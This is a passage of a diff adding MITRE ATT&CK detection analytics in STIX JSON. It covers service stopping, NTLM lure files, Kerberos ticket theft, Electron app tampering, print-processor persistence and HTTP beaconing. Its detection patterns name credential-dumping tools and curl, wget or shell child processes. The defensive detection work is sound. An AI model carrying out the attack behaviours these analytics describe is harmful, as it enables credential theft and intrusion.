"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Window between service stop and suspicious file deletion" + }, + { + "field": "ExecUser", + "description": "Username or UID executing service stop command" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--86ea7b9c-c017-463d-b5d5-377f6dbfae1e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0021#AN0063", + "external_id": "AN0063" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0063", + "description": "Use of launchctl to stop services or kill critical background processes (e.g., securityd, com.apple.*), typically followed by command-line tools like rm or diskutil. Behavioral chain: Terminal or remote shell + launchctl bootout/disable + process termination + follow-on modification.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "macos:unifiedlog", + "channel": "launchctl disable or bootout calls" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve of launchctl or pkill" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceLabel", + "description": "Launch daemon label or name targeted by command" + }, + { + "field": "LaunchType", + "description": "Whether the command disables or boots out the service" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9e12e1f0-1547-4008-8755-2b3bc1c00279", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0021#AN0064", + "external_id": "AN0064" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0064", + "description": "Attacker disables VM-related services or stops VMs forcibly to target vmdk or logs. Behavioral chain: esxcli or vim-cmd stop + audit log showing user privilege use + datastore file manipulation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "esxi:hostd", + "channel": "Stop VM or disable service events via vim-cmd" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "esxi:hostd", + "channel": "Log entries indicating VM powered off or forcibly terminated" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VMName", + "description": "Targeted virtual machine name" + }, + { + "field": "InitiatorUser", + "description": "User who issued stop or disable command" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f2064dd1-8cdb-472e-b187-8d1ef18fb059", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0022#AN0065", + "external_id": "AN0065" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0065", + "description": "Adversary stages a lure that references a remote resource (e.g., LNK/SCF/Office template). When the user opens/renders the file or a shell enumerates icons, the host automatically attempts SMB or WebDAV authentication to the attacker host. The chain is: (1) lure file is created or modified in a user-exposed location \u2192 (2) user or system accesses the lure \u2192 (3) host makes outbound NTLM (SMB 139/445 or WebDAV over 80/443) to an untrusted destination \u2192 (4) repeated attempts from multiple users/hosts or from privileged workstations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserLocations", + "description": "Folders where lures are most effective (Desktop, Public, Downloads, Temp, Cache, Start Menu, Startup). Adjust to enterprise layout." + }, + { + "field": "LureExtensions", + "description": "File types commonly abused (.lnk, .scf, .url, .doc/.xls/.ppt/.pdf/.html). Extend for your tooling and languages." + }, + { + "field": "UntrustedCIDR/DNS", + "description": "Org-specific list of external/unknown networks or domains; used to suppress sanctioned file servers and WebDAV gateways." + }, + { + "field": "TimeWindow", + "description": "Correlation horizon (e.g., 15\u201330 minutes) between file access and outbound NTLM attempt." + }, + { + "field": "WorkstationZones", + "description": "Asset/zone tags that distinguish workstations from servers; helps flag workstation\u2192workstation SMB, which is often abnormal." + }, + { + "field": "OfficeTemplatePaths", + "description": "Paths to Office templates to catch template injection references and abnormal loads." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e6a7eeb3-0652-460c-b68b-f17d2ed82822", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0023#AN0066", + "external_id": "AN0066" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0066", + "description": "Detection of unpacking behavior through abnormal memory allocation, followed by executable code injection and execution from non-image sections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "To scope detections to suspicious parent-child process relationships typical of loaders or droppers." + }, + { + "field": "AllocationSizeThreshold", + "description": "To tune for unusually large virtual memory allocations that might indicate unpacked payloads." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3cb4d3f4-df71-474c-a9f0-438dbf26bf66", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0023#AN0067", + "external_id": "AN0067" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0067", + "description": "Correlates ELF file execution with high-entropy writable memory segments and self-modifying code patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "auditd:SYSCALL", + "channel": "mprotect" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EntropyThreshold", + "description": "Useful for tuning unpacked sections containing high entropy indicative of compression or encryption." + }, + { + "field": "TimeWindow", + "description": "Can be tuned to correlate file writes to execution within a set timeframe." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--003c2ca3-a9a8-4a56-9163-f6733f19b41d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0023#AN0068", + "external_id": "AN0068" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0068", + "description": "Detection of packed Mach-O binaries unpacking into memory and transferring control to dynamically modified code segments.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process::exec" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_MMAP" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SignedBinaryContext", + "description": "Helps to distinguish between signed/unsigned packed binaries (common in legitimate vs. malicious cases)." + }, + { + "field": "UserContext", + "description": "Can be used to scope to specific users or service accounts targeted in attacks." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3651d7d0-dfc7-4b36-aaf2-4eb0eb39167d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0024#AN0069", + "external_id": "AN0069" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0069", + "description": "Detects unauthorized access, copying, or modification of Kerberos ccache files (krb5cc_%UID% or krb5.ccache) in /tmp or custom paths defined by KRB5CCNAME. Correlates file access with suspicious processes (e.g., credential dumping tools) and subsequent anomalous Kerberos authentication requests from non-standard processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open: File access attempt on /tmp/krb5cc_* or /tmp/krb5.ccache" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CcachePathBaseline", + "description": "Expected directories or environment variable (KRB5CCNAME) paths for ccache files in the environment." + }, + { + "field": "AllowedProcesses", + "description": "Baseline list of processes legitimately interacting with ccache (e.g., klist, kinit)." + }, + { + "field": "TimeWindow", + "description": "Correlation window for linking file access, process execution, and Kerberos requests." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2a9d296d-6b36-42de-870c-9d851c0471ed", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0024#AN0070", + "external_id": "AN0070" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0070", + "description": "Detects abnormal interaction with memory-based Kerberos ccache (API:{uuid}) or file-based overrides. Focus on processes attempting to enumerate or extract Kerberos tickets outside of built-in utilities. Detects use of open-source tools (e.g., Bifrost, modified Mimikatz ports) that interact with the Kerberos framework APIs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "Kerberos framework calls to API:{uuid} cache outside normal process lineage" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "Execution of non-standard binaries accessing Kerberos APIs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KerberosAPIProcessBaseline", + "description": "Expected processes using the Kerberos framework (e.g., loginwindow, kinit)." + }, + { + "field": "SuspiciousBinaryList", + "description": "List of tools or binaries not normally expected to query Kerberos ccache entries." + }, + { + "field": "TimeWindow", + "description": "Window to link suspicious process activity with Kerberos authentication anomalies." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dc0bf4ca-1d65-46ee-b4b1-d8f73a6e0cda", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0025#AN0071", + "external_id": "AN0071" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0071", + "description": "Abuse of trusted Electron apps (Teams, Slack, Chrome) to spawn child processes or execute payloads via malicious command-line arguments (e.g., --gpu-launcher) and modified app resources (.asar). Behavior chain: suspicious parent process (Electron app) \u2192 unusual command-line args \u2192 child process creation \u2192 optional DLL/network artifacts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window tying app launch, file tampering, child process, and network events (5\u201310 minutes typical)." + }, + { + "field": "UserContext", + "description": "Flag admin/service accounts versus standard users executing Electron apps." + }, + { + "field": "AllowedElectronApps", + "description": "Baseline of Electron-based executables expected in the enterprise." + }, + { + "field": "AllowedChildProcesses", + "description": "Whitelist normal child processes (chrome.exe \u2192 crashpad_handler.exe) versus anomalies (powershell.exe)." + }, + { + "field": "ElectronAppDomainAllowlist", + "description": "Approved service domains for Teams, Slack, etc. to suppress benign traffic." + }, + { + "field": "AsarIntegrityHash", + "description": "Expected hash/signature of app.asar resources to detect tampering." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8129e7b8-eaa1-4459-ba70-ebf6d68ca16c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0025#AN0072", + "external_id": "AN0072" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0072", + "description": "Abuse of Linux Electron binaries by modifying app.asar or config JS files and spawning unexpected child processes (bash, curl, python).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Electron-based binary spawning shell or script interpreter" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "Modification of .asar in /opt or ~/.config directories" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AsarIntegrityCheck", + "description": "Baseline of expected asar package signatures per app." + }, + { + "field": "SuspiciousChildProcesses", + "description": "Flag shells/python spawned from Electron parent." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f2c91a4c-1e79-4350-8a7e-94bc7b7b9a4c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0025#AN0073", + "external_id": "AN0073" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0073", + "description": "Abuse of macOS Electron apps by modifying app.asar bundles and spawning child processes (osascript, curl, sh) from Electron executables.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Electron app spawning unexpected child process" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:osquery", + "channel": "CREATE/MODIFY: Modification of app.asar inside .app bundle" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedAppBundlePaths", + "description": "Baseline of legitimate Electron app paths under /Applications." + }, + { + "field": "SignedToUnsignedTransition", + "description": "Alert when signed Electron parent spawns unsigned child." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ffe7278f-7cd1-402f-a3a7-dcc7a363b031", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0026#AN0074", + "external_id": "AN0074" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0074", + "description": "Correlated registry modifications under Print Processors path, followed by DLL file creation within the system print processor directory, and DLL load by spoolsv.exe. Malicious execution often occurs during service restart or system boot, with SYSTEM-level privileges.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlate Registry + DLL Write + Module Load within a short boot or spooler restart window (e.g., 5 minutes)." + }, + { + "field": "PrintProcessorDirectory", + "description": "System-specific path derived from GetPrintProcessorDirectory API call; may differ across Windows versions or configurations." + }, + { + "field": "DLLNamePattern", + "description": "Some environments may use custom or non-standard DLL naming conventions for print processors. Allowlist known values." + }, + { + "field": "SignedImageValidation", + "description": "Check Authenticode signature and issuer chain for loaded DLLs to reduce false positives." + }, + { + "field": "ServiceRestartTrigger", + "description": "Monitor for spoolsv.exe restart events that trigger malicious print processor loading." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--04fe83c3-d8d3-4c96-91a4-9167fa8f405a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0027#AN0075", + "external_id": "AN0075" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0075", + "description": "Detects unexpected or high-volume HTTP/S/WebSocket communication from suspicious processes (e.g., PowerShell, rundll32) using uncommon user agents or mimicking browser traffic to unusual domains or IPs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http.log, ssl.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessNameExclusions", + "description": "Filter out legitimate browser/network utilities" + }, + { + "field": "UserAgentAnomalies", + "description": "Detect non-browser user-agents or spoofed headers" + }, + { + "field": "OutboundByteRatioThreshold", + "description": "Flag when outbound > inbound volume by 90%+" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cba23232-7fae-47df-bd83-0ca5a5066373", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0027#AN0076", + "external_id": "AN0076" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0076", + "description": "Detects curl, wget, Python requests, or custom HTTP clients communicating over non-standard ports, with repetitive or beacon-like patterns or POST-heavy behavior to rare domains.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http.log, conn.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLinePatternMatch", + "description": "curl or wget in scripts with suspicious domains or silent flags" + }, + { + "field": "BeaconIntervalWindow", + "description": "Fixed-timed HTTP callbacks with 60\u00b15s jitter" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5ff3ae40-d326-4eae-9bc5-c77ddcb6cb6e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0027#AN0077", + "external_id": "AN0077" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0077", + "description": "Detects applications such as Automator, AppleScript, or LaunchDaemons invoking HTTP/S traffic to non-standard domains or using suspicious headers (e.g., Base64 in URIs or cookie fields).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:osquery", + "channel": "socket_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "log stream --predicate" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousParentProcess", + "description": "Non-browser parent of web traffic (e.g., AppleScript, bash)" + }, + { + "field": "URIEntropyThreshold", + "description": "Unusually encoded data in GET/POST URIs" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--38205f16-18da-4d04-ae54-f5143b75c938", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0027#AN0078", + "external_id": "AN0078" 